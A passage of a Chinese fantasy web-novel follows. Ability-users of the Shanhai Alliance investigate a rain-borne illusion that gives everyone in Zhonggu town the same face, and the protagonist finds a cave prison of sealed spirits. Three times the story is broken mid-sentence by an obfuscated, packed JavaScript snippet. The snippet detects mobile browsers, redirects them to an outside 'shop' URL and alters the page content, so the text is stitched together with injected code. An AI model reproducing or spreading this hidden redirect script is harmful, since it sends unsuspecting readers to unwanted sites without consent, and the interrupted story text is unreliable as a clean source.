老人须发皆白,身材却依旧挺拔,看起来很有精神,穿着中式复古的短衫和长裤,领口处的盘扣系得很严实,和这老洋房的气质倒是很相称,就像是从旧时代走出来的人物。 他扶着雕花的拐杖,但走起路来步伐流畅顺当,那拐杖轻轻地点着地,像是个装饰品。 台上的游雾先开了口:“老爷子您来了,好久不见了!” 在场大多数人不曾见过他的面容,但是听到游雾这样说,也大都猜出了他的身份,连忙安静下来,恭敬地颔首。 老人笑了笑,眉目温和慈爱,毫无锋芒,朝游雾说道:“确实好久咯,上次见到你啊,还是你升到A级的时候。一晃这么久过去了,我都老了,你还是那个样子。” 游雾从台上走到老人身边,想要搀扶他往台上走,却被老人调侃道:“我说我老了,你就真觉得我老了不成?” 老人的声音很温和,就像是长辈对自家小辈随口的调笑,于是游雾也笑了笑,松开了手,跟在他身后一步之遥的位置。 白川看着老人的身影,觉得老人和自己想象中的样子不太一样。 他刚加入山海联盟的时候,就听到过关于老人的传闻。 老人姓余,因为年纪很大了,和他同辈份的人已经没有谁还在世上,所以早就没人称呼他的名字了,大家都是叫他余老或者余指挥官。 他担任山海联盟的总指挥官已经有大几十年了。 据说他刚加入联盟的时候,联盟还是个没什么体系的松散组织,全凭他一手肃清匡正,这才有了今天这个遍布四海,分成八个组别的基础架构。 而他备受尊崇,不仅仅因为他是山海联盟的“创始人”,更是因为,他是近百年来异能者中,唯一一位S级。 异能者的常规级别划分其实是积分制,队员们每次执行任务,后台系统都会自动根据任务对象的难度和任务执行中的表现,计算出执行分数,随着执行分数的累加,异能者会从F级慢慢向上升级。 但这种积分制的升级,最多也就只能让人升到A级。 也就是说,A级对山海联盟的队员们来说不是什么遥不可及的东西,虽然白川这种次次任务附加分都能拿满,三个月跃升A级的天赋流异能者仍然可遇不可求,但通过拼命刷任务数量,积攒任务表现,天赋有限但慢慢刷到A级的人也不是完全没有。 但S级就不同了,S级可谓是纯靠天赋和气运。 升到S级至少要完成一场对付S级灵物的任务,并且在任务中的表现可圈可点。 且不说当今世道下,S级的灵物已经少之又少,就算是真有S级灵物出山,那任务的凶险程度也是显而易见,很少有人会想用自己的性命去搏一个S级的勋章。 从有记录开始,山海联盟可以称作S级的执行专员满打满算也就三个。 这几个人里,如今还在世的就只剩下余老了。 据说当年旱魃降世,从岐山到阮水,三年大旱,民不聊生,是余老凭借一己之力镇压了旱魃。 彼时山海联盟还不叫山海联盟,还是个没有什么秩序的民间组织,后来才以余老为核心,一点点丰富壮大起来。 白川早就听说过这些故事,内心对余老也颇有敬意。 他先入为主地觉得余老应该是一位杀伐果决,眉目锋利的老人家,却没想到他慈眉善目,看起来不像是什么指挥官或者执行官,更像是个研究文学或者历史的老学究。 慈眉善目的“老学究”走上台,在众人目光的凑近了麦克风,开口的声音中气十足:“我刚才在门口听了一会儿了,也听到了大家的争论。” 绿色头发的年轻人抿了抿嘴,低下头来。 余老的目光看向站在一起的白川和祁望,笑了笑,继续说道:“我觉得刚才这位说得挺好的,年轻人,你是叫祁望么?” 祁望略微震惊于余老居然知道自己的名字,但还是礼貌地点了点头。 “山海联盟的等级标准是我一手操办的,我也一直觉得它还算公平,白川确实是这么多年来升到A级最快的专员,这不仅仅是因为他在短时间内参与了足够多的项目,更是评级系统综合评价了他的任务表现后给出的结果。” 说着,他抬手邀请白川上台,继续说道: “我看了白川的后台数据,他在这三个多月里,完成了大大小小的任务合计24桩,其中B级及以上的有17桩,每个任务都几乎是独立完成,而且没有造成任何无关人员的伤亡。我知道有人对小游安排了那么多任务给他颇有微词,但也希望各位扪心自问,分配给白川的那些任务,如果分配给各位,各位是否能够毫发无伤地回来?” 余老的语气依旧温和,但在场的人大都沉默了。 而那个绿头发的青年看样子还是满肚子不爽,他很小声地嘀咕了一句:“怎么就不能呢?” 音量虽小,但在安静至极的房间里还是清晰可闻。 但是余老并没有开罪他,他的脸上还是那种看晚辈人的宽慈:“沈一禾对吧?我记得你,你升到B级的速度在联盟里也算很快的,我知道你天资聪慧,能力也很不错。” 沈一禾听到余老居然记得自己的名字,脸上的怒气霎时消了大半,但他还是带着几分倔气:“同样的任务,交给我,我也不会差!余老,半年内,我也一定会升到A级!” 余老笑了笑:“我年纪大了,可能和你们年轻人想事情不太一样,在座的各位,有A级,也有F级,但你们对我来说都是一样的,你们都是好孩子,都在为我们神秘又伟大的事业奉献。我们大家选择的,是一条艰难的路啊,而你们身边的这些人就是你们这条路上的同伴。” 余老点到为止,没有再往下说下去,会场里也安静下来,没有人再针对这件事情提出异议。 山海联盟没有那么多繁文缛节,勋章颁发的流程很是简单,散了会之后,余老特意把白川他们几个留了下来。 沈一禾也在被邀请之列,但他和白川他们仨站得远远的,也不怎么说话。 这边余老正语重心长地讲着什么“山海联盟未来还是要靠你们这些年轻人”这样的话,那边沈一禾的电话忽然响了。 他说了声抱歉,往后撤了几步接起了电话。 “你说什么?我姐姐怎么了?” 白川听到沈一禾急切的声音,朝他看过来,只见他神色凝重,眉头拧在一起,满脸写着担忧二字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300257|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈一禾挂断电话,急得说话都不利索了:“余老,游队,我可能得先走一下,我姐姐好像出事了,我觉得可能……和灵物有关。” “你快去,不用管别的。”余老关切道,然后转向白川他们,“你们要不要跟着过去一起帮帮忙?” 沈一禾犹豫了一下,然后抬起头,很坚决地说道:“没事的,我自己可以搞定!” 说罢,他快步离开,头也没回。 会客间里,余老看着他的背影,长长得叹了口气,摇了摇头:“这孩子是有潜力的,就是太急躁,白川啊,要不你们还是跟着他吧,我怕他自己一个人的话,容易出事。” 白川三人应和着点了点头,跟余老说了再会,然后连忙赶到车库,跟上了沈一禾的车。 两辆车隔着一定的距离,一路向北驶去。 开始的半个多小时,天气还很晴朗,天空是那种很清澈的蓝色,让人心旷神怡,但越往北去,阴云就越是密集,又开了一会儿,周遭甚至已经开始下起雨。 白川低头看了看GPS定位的轨迹,沈一禾选的这条路指向无相山。 无相山是江市北部的一座荒山,海拔不高,但山脉连绵,山脉上坐落着一座小镇,叫忠骨镇。 据说早些年,当地人对这个镇子的名字都颇有些不满,毕竟骨啊血啊这种意象,用在地名里,总会让人心里犯嘀咕。 这样的民意呼声太高,当地的议事者听了后,真的琢磨过,是不是要给这个小镇换个名字。 但这个风声刚一放出去,就有年轻的、年老的、本地的、远道的不下十个风水师找上门来,这些风水师口径一致——这个镇名不能改。 他们的理由甚至都是一致的,都说这地方本就是忠魂埋骨地,虽说忠魂正派,但难说在地里埋了千百载之后会不会生出些怨气来,如果改掉了这褒奖他们的地名,恐怕压不住这地下的万千亡魂。 于是,忠骨镇这个名字就长长久久地用起来了。 “那个沈一禾是忠骨镇的人么?”祁望忽然问道。 游雾边开车,边摇了摇头:“没,一禾平时住在市区里,应该也是市区里长大的。但他有个姐姐,没记错的话,她姐姐是个蛮有名的写手,喜欢去景色又好又幽静的地方采风,最近这段时间一直住在忠骨镇。” 祁望点点头,又随意地问了几句关于无相山和忠骨镇的事儿。 在他和游雾交谈的过程中,白川一直低头摆弄着手机,没接什么话,祁望歪头去看他,却见他的眉头越锁越深。 “怎么了?”祁望问。 “你看看这个,”白川把手机屏幕递给祁望。 屏幕上是江市的灵异论坛,最上面的几个帖子热度很高,而且都很标题党: 《忠骨镇是不是被亡魂反噬了,我好几个朋友都出事了》 《联系不上忠骨镇的家人了怎么办》 《救命,我不会要死在忠骨镇了吧》 看来这忠骨镇是有点东西的,祁望正这样想着,忽然感觉到原本平稳的车速慢了下来,他下意识地抬起头,风吹过高速公路两旁的树影,高速路标赫然在目—— 他们已经进入了忠骨镇的地界。 17. 忠骨 “第三条帖子说得更清晰一点,只看那篇就行。”白川提示道。 于是祁望很听话地点开了那条《救命,我不会要死在忠骨镇了吧》。 1L:“家人们有没有觉得最近忠骨镇很不对劲,就这场暴雨之后尤其不对劲,我周围很多人好像一夜之间变了个人,忽然变得很冷漠很没有人情味,好像做什么事儿都没兴致,说话也变少了,也不怎么笑,难不成下个雨能把人浇抑郁了吗?” 2L:“!!!我还以为只有我感觉到了!我宿舍那几个同学也是的,冒雨出门去了趟超市,回来之后就对我爱答不理的,不说话也不开玩笑,我主动搭话他们回应起来也木木的,我还以为是我做错了什么事儿被孤立呢!” 3L:“听起来有点假,前排围观一下。” …… 18L:“我也发现了……而且不知道是幻觉还是怎样,我觉得我身边那些人长得也越来越像了,就好像……每个人都在用同一张脸。” 19L:“听前面我差点儿就信了,幸亏看到18楼,拜托编故事也编得圆一点儿吧,你这编得也太离谱了吧……” 20L:“18楼别走!我也有这种感觉,真的好可怕……” …… 祁望把这篇热帖从头翻到了尾,感觉帖子里主要就是两群人在说话。 其中一部分说自己就是忠骨镇的人,感觉周围的人发生了微妙的变化,这种变化包括人变得冷漠而毫无生气,长相变得相似之类的。 而另一部分人则是围观群众,对这种玄乎其玄的表述嗤之以鼻,觉得这不过是灵异论坛里唬人的说辞罢了。 “川哥觉得他们说的是真的吗?”祁望问。 白川没直接回应,而是反问道:“你看了他们回帖的时间了吗?” 祁望又拿起手机回看了一下,他的神色忽然凝重起来:“所有说自己在忠骨镇的回帖都是一天之前的。” “没错,”白川点点头,“昨天晚上18:03之后,就没有人再出来现身说法,讲述自己身边的异常了,连之前一直回复大家发言的楼主都不再说话了。” “也就是说……”祁望缓慢开口,“要么是这些幕后编故事的人觉得没意思了,所以不再编了,要么就是……” 白川认同地点了点头,接着祁望的话补充道:“要么就是这些人也被影响到了,成为了他们口中的毫无生气长相相似的人,所以不会再感慨身边人的异样。” 祁望又滑动了几下屏幕:“最后几条相关的回帖都在18:03,其中有的回帖似乎话都只说了一半,却没有后文了。” 开车的游雾也一直旁听着两人的对话,他忽然插嘴问道:“18:03是什么特殊的时间点吗?发生了什么吗?” 白川和祁望不约而同的抬头,对视了一眼,交换了目光,然后异口同声道:“雨。” “雨?”游雾没有看到具体的帖子,所以还是有点困惑。 白川解释道:“帖子里很多人都提到了忠骨镇下的雨,最初跟帖的几个人都说自己异常的亲友这几天淋过雨,而一直回帖回到18:03的楼主也提到过,自己最近刚好腿出了问题不便出门,所以完全淋不到雨,也在怀疑是雨的问题。” “如果雨水是媒介,那么既然她腿不好,那她一直没淋到雨的话,为什么也会受到影响?”游雾又问。 白川转头看向车窗外,雨水如倾泄一般浇灌下来,拍打在车窗上,雨刷器有节奏地快速摆动,但挡风玻璃还是被不断泼上来的雨水糊住,能见度很低。 “也许是湿度之类的。”他忽然开口。 如果雨水能够作为媒介,那或许暴雨持续太久,空气湿度足够高的时候,也会影响到那些没有淋过雨的人。 他们没再继续这个暂时不能确定答案的问题。 雨越来越大,能见度差到白川他们根本看不见沈一禾的车,好在那是山海联盟的公用车,上面装了游雾有权限的卫星定位系统。 游雾连进系统,代表自己这辆车的白点一路跟着代表沈一禾的红点,开进了忠骨镇中心的区域,那也是镇里民宿最密集的区域。 沈一禾熟门熟路地在一处民宿门口的停车位上停下,游雾也停在了相隔几十米的路边。几人正犹豫着如果下了车淋了雨,会不会受到结界的影响,前面车里的沈一禾已经撑着伞走了下来。 他并没有直接走进民宿,而是朝着相反的方向,向游雾这辆车走来。 “你们来干什么?”沈一禾敲了敲车窗,语气不善,“我自己的私事,你们瞎掺和什么?” 游雾见沈一禾明明淋湿了衣角和手臂,却仍是毫无异样,于是把车窗降了下来。 雨水透过车窗,斜斜地打在游雾的胳膊上,还没等说话,祁望先开口:“你以为我们愿意管你?” 他对这个当众诋毁白川的人显然也没什么好脸色,他把显示着灵异论坛页面的手机递了过去,说起话来毫不留情面:“现在陷入麻烦的不止是你姐姐,还有忠骨镇千千万万的居民,你觉得自己可以搞定么?” “你也太小瞧人了吧!”沈一禾脾气上来了,分毫不让,“不就是运气好一点儿,比我先升到A级吗?我也并不比你们差好吧,凭什么就觉得我搞不定?” 祁望又要出言数落沈一禾,却被一旁的白川拦了一下,白川开口,语气很是温和:“我们没有别的意思,以防万一而已,谁出任务不都有个后勤团队么,你可以当我们是你的后勤。” “后勤?”沈一禾对这个说辞有些存疑。 “没错,后勤,”白川很是坦荡,“我们会跟着你一起做任务,但只做助力和善后,一切流程由你来带,可以么?” 游雾忽然觉得白川比自己更适合当这个队长——虽然说的全都是软话,但莫名体现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300258|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一种领导者的宽慈来。 沈一禾听到这样的软话,神色才稍微随和起来,犹犹豫豫地说了一声“行吧”,然后三令五申地强调了希望他们几人不要多嘴也不要随意出手,得到了几人的保证后才开始讲他姐姐的情况: “游队应该知道的,我姐她是个网文写手,平时最喜欢做的事情就是码字,唯一的梦想就是写出让她自己满意也能让读者满意的作品。” 游雾应和着点了点头。 沈一禾的父母在他很小的时候意外去世了,家里只剩下他和比他大三岁的姐姐,两人相依为命,感情颇深,沈一禾平日里总把姐姐挂在嘴边,他姐姐沈一诺是个厉害的网文写手这件事,组里可谓是无人不知无人不晓。 “但我今天接到了她编辑的电话,编辑跟我说我姐她已经断更了两天了!” 祁望听得有点困惑。 他平日里不看网文这种东西,但是也知道断更是什么意思。 不过,只是断更两天而已,至于这么大反应吗? 沈一禾似乎看出了几人的疑惑,解释道:“你们不了解我姐,她是那种任天塌下来,也要雷打不动日更三千的那种……而且不光是断更,编辑跟我说他联络了我姐,但我姐直接回复说她不写了。如果没有什么超现实因素,我姐绝对不可能这样!” 要是刚才没在灵异论坛上了解过忠骨镇这两天的情况,白川他们可能会觉得沈一禾只是过分神经质了,但是这么联系到一起来看,他姐姐的情况确实也符合论坛里所谓的“变得冷漠,毫无生气,几乎成为没有灵魂的行尸走肉”。 沈一禾指了指一旁的民宿:“我姐最近就住在这儿,电话一直打不通,我就想着来这里找她。” 几人听了,也纷纷下车,撑开伞,跟在他身后,朝民宿走去。 暴雨天,忠骨镇这种人口并不密集的小镇几乎没有什么人在外面晃悠,民宿也是冷冷清清,只有一位前台趴在桌子上打着盹儿。 几人推门进来的时候,系在门上的迎客风铃响了几声,但前台的工作人员仍是毫无反应。 沈一禾凑近了喊了他几声,他这才慢慢悠悠地揉了揉眼睛,恍恍惚惚地坐起身来。 白川扫了他一眼,这人身量不高,但却实在长了一张很好看的脸,骨相优越,眉目深情,看起来是能去娱乐圈分一杯羹的脸,出现在这样小小的一间店面里,让人觉得有点屈才。 沈一禾走上前去问了几句话,这个前台看起来有点木木的,但很好说话,没怎么犹豫,就把房间号告诉他们了,于是几人顺顺当当地走到了房门口。 沈一禾抬手敲了敲门,隔着门板听到了姐姐应和的声音,悬着的心放下了大半。 而当她姐姐推开门,门口的四人全都愣住了——沈一禾的姐姐说起话来明明是正常的声音,但整张脸,却和楼下几人刚见过的前台一模一样——那是张男人的脸。 18. 幻术 “……姐?”沈一禾皱着眉头试探着问道。 “嗯。”对方随口应和道。 她似乎对自家弟弟莫名其妙带来几个陌生人这件事丝毫没有感到困惑,也没有什么多余的寒暄,只是自顾自地走回房间里,任凭这些陌生人跟在沈一禾身后混了进来。 房间脏乱得厉害,穿过的衣服和各种零食袋子丢得满地都是,沙发和椅子上也堆满了乱七八糟的东西,白川他们每一步都走得小心翼翼,生怕踩到些什么。 沈一禾走到阳台,把窗户推开,暴雨夹带着泥土的气息冲散了屋子里发霉腐败的味道。 整个过程中他都眉头深锁。 他不知道自己那个总是很有活力,总能把工作和生活打理得井井有条的姐姐怎么会变成眼前这个样子。 “姐,你这两天怎么忽然不写文了?”沈一禾不死心地问道。 “不想写。”对方淡淡道。 “可是姐你上周还跟我说你很喜欢这个故事,花了很长的时间写大纲做人物小传来着,怎么会忽然就不想写了?” “不想写就是不想写,需要理由吗?需要吗?” 沈一禾的脸色越来越差,但他的语气还是软了下来:“好,不想写咱们就不写了,那姐你想做什么?我前阵子拿了奖金的,带你出去旅游好不好?” 沈一诺不回话,只是摇了摇头,然后索然无味地靠在沙发上,胡乱地调出了个电视节目,半眯缝着眼睛,也不知道是在看电视,还是已经睡着了。 她平日很爱惜的精致卷发因为太油而打了绺儿,有的地方还像枯草一样打着结。 沈一禾还想问些什么,游雾却在他身后轻轻地扯了他一把:“没用的,她现在什么都听不进去。” 好在沈一禾也不是什么优柔寡断的人,他知道在这里耗下去也没有意义,于是跟着白川他们走出了姐姐的房间。 出门的时候,他们刚好碰见了隔壁屋子里的两位住客,两位住客一前一后地走着,顶着两张一模一样的脸——和前台小哥以及沈一诺一样——忠骨镇的所有人,恐怕现在都顶着同样的一张脸。 “是幻术!”沈一禾喃喃自语。 他的语气有三分犹疑,而剩下的七分却是兴奋——幻术——正是他最擅长的领域。 除了白川这样天赋异禀的,各类异能峰值都几乎拉满的全能型异能者,大多数异能者的异能都是分派系的,比如祁望的异能就是疗愈系的。 而沈一禾的异能刚好是幻术系的,在白川加入联盟之前,他也一度凭借自己幻术领域的高超造诣,成为山海联盟炽手可热的红人。 他对自己的幻术异能自然也自视甚高,眼下,岂不正是在游队和那两个新人面前展露一番的大好时机? 说罢,他于虚空中捏了一个诀,嘴里念念有词。 随着他的念诵,一束柔和的白光从他的指尖流淌而出,像一条银白色的丝线,蜿蜒着朝走廊里的两位住客身上飞去。 光束在触碰到两人之后,形状变幻成了圆圈,将两位路人笼罩在一起。 这是他最熟悉也最引以为傲的术法,他用这套方法破过不少幻境。 沈一禾的指尖活动了一下。 两位路人的面目忽然发生了剧烈的变化,像是川剧变脸一样,在不同的面孔中来回交替。 眼看两人的面目就要恢复了,忽然,沈一禾感受到一股巨大的充沛的灵力在顺着自己释放的光束,反方向地攻击起自己。 他反应很快地松开对光束的控制,却也还是没能完全逃过——一股奇异的灵力沿着指尖的经络流淌进他的身体,然后再身体里横冲直闯。 一瞬间,沈一禾觉得自己的身体如同过电了一般痛苦,他半蹲下身子,剧烈地咳嗽。 而失去控制的光束却并没有很快消失,它还围绕在两位路人身边,但银白的色彩却不知为何染上了灿金色。 那不是他的术法,可能是幻术的施加者在借这个由子,进一步增强幻术。 他有点儿松动——或许应该叫白川他们一起帮忙试试。 但他内心深处的倔强一票否决了这个提议。 正当他强撑着身体站起来,想要再做尝试的时候,他忽然意识到,光束的灿金色似乎越来越深了。 一种莫名的预感驱使他回过头曲,沈一禾忽然看见,身后的房间里,自己的姐姐身上也笼罩了这样的一层金色光晕。 “咳——咳——”他强忍剧烈的咳嗽,到底还是说出了求助的话,“游队,这什么情况?” 之前夸下海口要独立完成任务的是自己,这会儿没有头绪求助于别人的也是自己,沈一禾觉得自己的脸颊在发烫,一路烫到了耳根。 他没想到自己会求助,更没想到求助这件事来得这么快,但是遇到可能涉及姐姐安危的事儿,他完全没办法让自己冷静下来静观其变。 求助不丢人,求助不丢人,求助不丢人——他在心里一遍遍自我洗脑。 忽然,他的肩膀被人按了一下,他回头,对上了祁望的目光。 祁望的手搭在他的肩头,轻声道:“别动,稍微疗一下伤。” 而在祁望给他疗伤的时候,沈一禾的目光一直没有离开过眼前的白川。 白川径直走向了那两个路人,在他们面前站定,然后忽然伸出手,直接去触碰他们身边环绕着的光束。 想到自己刚才的痛苦,沈一禾下意识地想要阻止,可还没等他阻止的话喊出来,那束灿金色的光束已经尽数被白川收于掌中。 随着光芒消失,覆盖在这两个人身上的幻术也自然而然地撤去了,两人躺在地上,恢复了从前的面目。 在这一整个过程中,沈一禾都是目瞪口呆的。 白川的所作所为不能说是毫无章法,只能说是随心所欲。 他甚至连一句咒术都没有念诵过! 沈一禾觉得自己的世界观遭到了冲击,他这种向来骄傲甚至有点自负的人最见不得这种情况——难道这家伙真的不是运气好,而是真的比自己厉害这么多? 这…… 沈一禾正纠结着,他的耳畔忽然响起了安慰的声音。 “不是你的问题,”游雾拍了拍他的肩膀,安抚道,“这个灵物的等级可能超出我们的预期。” “超出预期?难道……会是S级?”沈一禾的语气忽然凝重起来。 游雾没有直接回应:“系统目前没有给出评判,但目前看上去,这个结界的强度要比之前的A级结界更棘手。” 沈一禾犹豫着开口:“那我们……应该怎么办?” 示弱求助的话,一回生二回熟,或许是被眼前刚刚发生的一切冲击到了,沈一禾这次说起这句话,甚至都没有纠结和犹豫。 “得去找结界的中核。”白川回答了他的问题。 幻境结界也是有弱点的,人们会把这个弱点叫作中核。 没等沈一禾追问,他继续解释道:“按照我们之前的推测,这个幻术结界的媒介应该是雨,那么中核最有可能出现在雨势最大的地方。” 说着,白川抬头看了看灰蒙蒙的,压得很低的天空,而后指着东南角阴云最浓的那处问道:“那里是叫无相山吧?” 几人看向他的手指着的方向,无相山并不算高耸的山峰径直插入一片黯淡的浓云中,云层以一种诡异的姿态汇集在一起,干脆凝成了墨色,看起来像是暗流涌动的深渊倒悬在天上,确实很像是灵物搞事情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300259|152211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。 没有人对这个决定提出异议,一行人坐上车,朝着无相山的主峰驶去。 刚一到山脚下,游雾就被迫停了车——接连暴雨,上山唯一的路口被封死了,车辆进不去。 游雾在暴雨中切换了几次车灯,心中生起了硬闯的念头,但还是被白川拦住了:“雨天道路湿滑,封路有封路的道理。” 说着,他熟络地从后备箱取出了几套雨衣和雨鞋,分给大家:“山看也没有很高,可以走一走。” 于是几人深一脚浅一脚地,沿着盘山公路边上的步行阶梯,一步步朝山顶走去。 阶梯很窄,两人并排而行就有点儿拥挤,于是四人站成一竖排一点点前进。 白川理所当然地站在了队伍的最前面,后面跟着祁望和沈一禾,由游雾殿后。 雨势还是很大,风声雨声嘈杂,几人之间相隔不过几米的距离,想要说话却需要用喊的。 白川埋头走了一小会儿,忽然抬起头来,看见了路边的山体上,竟有一处石窟一般的洞穴。 他心中生出好奇来,扭过头去,想喊身后的祁望跟自己一起进洞穴看看,可他回过头,却发现身后空无一人—— 只有从山脚绵延至脚下的石阶,晃得他恐高发作,有点儿眼晕。 “祁望?”白川尽可能大声地喊道。 但没有人应声,只有狂乱的雨声同他相合。 他当然不会觉得祁望蠢到跟在自己身后也能走丢,那么显然,他应该是进入了幻境结界中的另一重幻境。 白川很快镇静下来,环顾四周,其他的景色都没有什么异样,唯一突兀的就是那处洞穴。 那洞穴漆黑幽深的入口,明明那么安静,却仿佛在呼唤着白川的名姓一般,让他生出想一探究竟的念头来。 白川稍微犹豫了几秒钟,然后抬起右手,轻轻打了一个响指,一只火把就凭空出现在他的手里,他握紧了火把,微微弯下了身子,走进洞穴里。 火把的光照亮了洞穴两侧坚硬的石壁,看起来没有什么人工开凿的痕迹,像是个天然的溶洞。 白川踩着窄窄的小路往溶洞里面走去,外面的雨声和他隔得越来越远,逐渐地,已经听不太真切,只能听到洞穴顶部水滴打在钟乳石上的滴答声和自己的脚步声。 走了大概五六分钟,什么特别的事情都没有发生,于是白川放慢了脚步,甚至开始怀疑这是不是真的只是个普通的天然溶洞。 而正当他想要转身离开时,忽然,他听见了说话声。 声音含含糊糊的,很嘈杂,不像是两三个人的对话,倒像是很多人的声音汇杂在一起。 在这样人迹罕至的深山洞穴里,怎么会有这么多人? 他不想打草惊蛇,于是干脆收了火把,仅凭借手指尖留着的一点点荧光,微微照亮漆黑的小路,朝着声音的方向,继续往洞穴深处走去。 又走了大约几百米,绕过了一排形状奇特的钟乳石柱,白川忽然停下了脚步—— 原本狭窄的洞穴忽然开阔起来,形成一处近乎圆形的空间,开阔到让人怀疑这座小小的无相山会不会干脆是中空的。 本来近乎贴着白川头顶的岩壁也一下子抬高了,如同穹顶一般倒扣着,上面汇集了无数会发出微弱荧光的小虫子,荧光如点点星光,把整个空间照得如同白昼。 白川熄灭了指尖的荧光,借着穹顶的光芒四下打量着。 荒僻的深山中奇异的洞穴,让白川不自觉地想到了某些话本故事里的藏宝阁。 而眼前的洞穴显然不是藏宝阁——四周弧形的岩壁被开凿成一间间相邻的小室,每间小室的门口都是粗实的金属栏杆——这是间藏在深山里面的巨大牢笼。 19. 牢笼 每一间牢笼的栏杆上都有闪着金光的符咒忽隐忽现,白川认得那个符咒——那是镇压邪灵的符咒。 异能者们如果抓住了作恶多端的灵物,会暂时用这样的符咒封印住它 到底是怎样的牢笼,关押了这么多需要镇压的邪灵? 白川原打算捏个诀,隐去身形,却忽然听见身边最近的牢笼里有一个灵物开口,那声音全无惊讶,倒像是见到了什么认识许久的老朋友:“你今天怎么来得这么早?” 白川顺着声音看过去,那是一只形态介于狐狸和人之间的灵物,它长得矮矮的,像是十几岁小孩的身量,生着人的身体,却有狐狸的面目和长长的尾巴。 正当白川在想如何回话,那只狐狸又说话了,语调欢快得不像是阶下囚:“你下次再来,能不能下山给我带点儿桂花米糕?我想吃桂花糕了!” 这回白川没犹豫,他笑着点了点头——他从没见过这只狐狸,也不知道为什么它同自己如此熟络,甚至不知道这种被关在牢笼里却仍惦记着一口桂花糕的小家伙,到底为什么会被这样的符咒镇压着。 但他一向很难拒绝小孩子的请求,眼前这个长得有点萌的小灵物也是一样。 得到了他的肯定答复,其他房间里被关押着的灵物也开始活跃起来。 吐着信子的白蛇问他能不能带壶酒过来,还点名道姓要杏花庄第一家铺子的好酒。 垂着兔耳朵的小丫头说自己想要地里刚拔出来的还带着新鲜泥土的胡萝卜。 长发铺满房间整个地面的漂亮女妖让他帮忙带只檀木雕花的梳子来。 …… 白川每走过一间牢笼,就会听到一个小小心愿。 虽然他很清楚地知道眼前都只是幻境,却在这一声声亲切的恳求声中生出些实感来,甚至变出了纸笔,认真地记录一个个心愿。 直到他走到最后一间。 这间牢笼比前面的都要宽阔许多,里面只有一个灵物——白川其实刚一进来就注意到了这一间—— 其他的牢笼,镇压的符咒只覆盖在铁栏杆上,而这一间,从石壁到穹顶再到脚踩着的地面,凡是有位置的地方,都被画满了符咒。 这只灵物的手腕和脚腕上还都系着漆黑的铁链,铁链有人的手腕那么粗,从房间的角落延伸至他身上,多余的部分沉甸甸地垂在地上。 想来一定作恶多端。 但白川还是往近前走去。 那个被锁链牢牢困住的灵物面朝墙壁坐在房间里,黑色的长袍垂落在地面上,搭在锁链上,如瀑的长发也跟着一同垂落。 其他灵物虽然大多也幻化成了人形,但或多或少都有些灵物的属性保留着,比如那只狐狸的尾巴,那只青鸟的翅膀,但这一只灵物,却完完全全是人类的外形, 他在遍地浮动的金色符咒中,长久枯坐,像是无悲无喜的神佛。 他没有像其他灵物一样开口向白川索要或者祈求些什么,甚至没有回头看白川一眼,就好像白川并不存在。 白川在他的牢室前面等了一会儿,然后主动开口:“你有什么需要的么?我可以尽量帮你带来。” 但那个家伙并没应声。 白川以为他没听清,于是继续问道:“你没有什么想要的么?” 那人仍旧没有回头,但他沉默了半晌后,终于开口,声线低沉:“我想要的,你给不了。” 白川皱眉道:“你都不说,怎么知道我给不了?” 他听见那人似乎轻笑了一声:“我要你放他们走,你给得了么?” 放走一群被符咒镇压住的灵物么?这似乎确实不在白川可以做到的范围内。 还没等白川再问,那个家伙背对着白川摇了摇头:“算了,我没什么想要的。” 白川觉得这个自说自话的家伙有点莫名其妙,本打算直接转头离开,却发现自己仿佛不受自己的控制,自然而然地说出了另一句话:“这么久了,你还是不肯回头么?” 这样言不由心的话让白川对自己有种失控感,他下意识地想要退后,却发现自己的脚仿佛被钉死在原地,动不了分毫。 “世上本来就没有那么多回头的机会。”他听到那个灵物这样说。 白川想问他到底隔着牢笼施了什么术法,让自己被迫站在这里说一些奇怪的话,但是开口却又是一句并不由心的话:“没说让你走回头路,我只是想问问,你为什么不愿意回过头来,看着我说话。” 那人沉默着,但白川听到了他手腕上系着的铁链摩擦地面的轻微声响,他隐隐觉得有什么东西在那家伙的心头松动了。 于是白川就这么站在原地,直直地看着他的背影。 白川不知道为什么,但此时此刻,他非常确信,自己在等他回头。 就好像已经等了很久很久。 很少移动的铁链在地上擦出刺耳的声音,激起一层灰尘在空气中跳动。 那人的衣摆和发尾先一步地转动,白川的目光毫不避讳地落在他苍白的脖颈和漆黑的长发上。 白川的心脏忽然如鼓点般跳动,他目不转睛地看向那人,眼看着他就要回过头来,眼看着自己就要看清那张脸,忽然,眼前的一切如墨水洇开一般,蓦然消散。 他忽然坠入一片漆黑,身侧又重新响起狂风暴雨的声音,几次呼吸后,黑暗中才缓缓有光亮起,他四下打量——身边哪 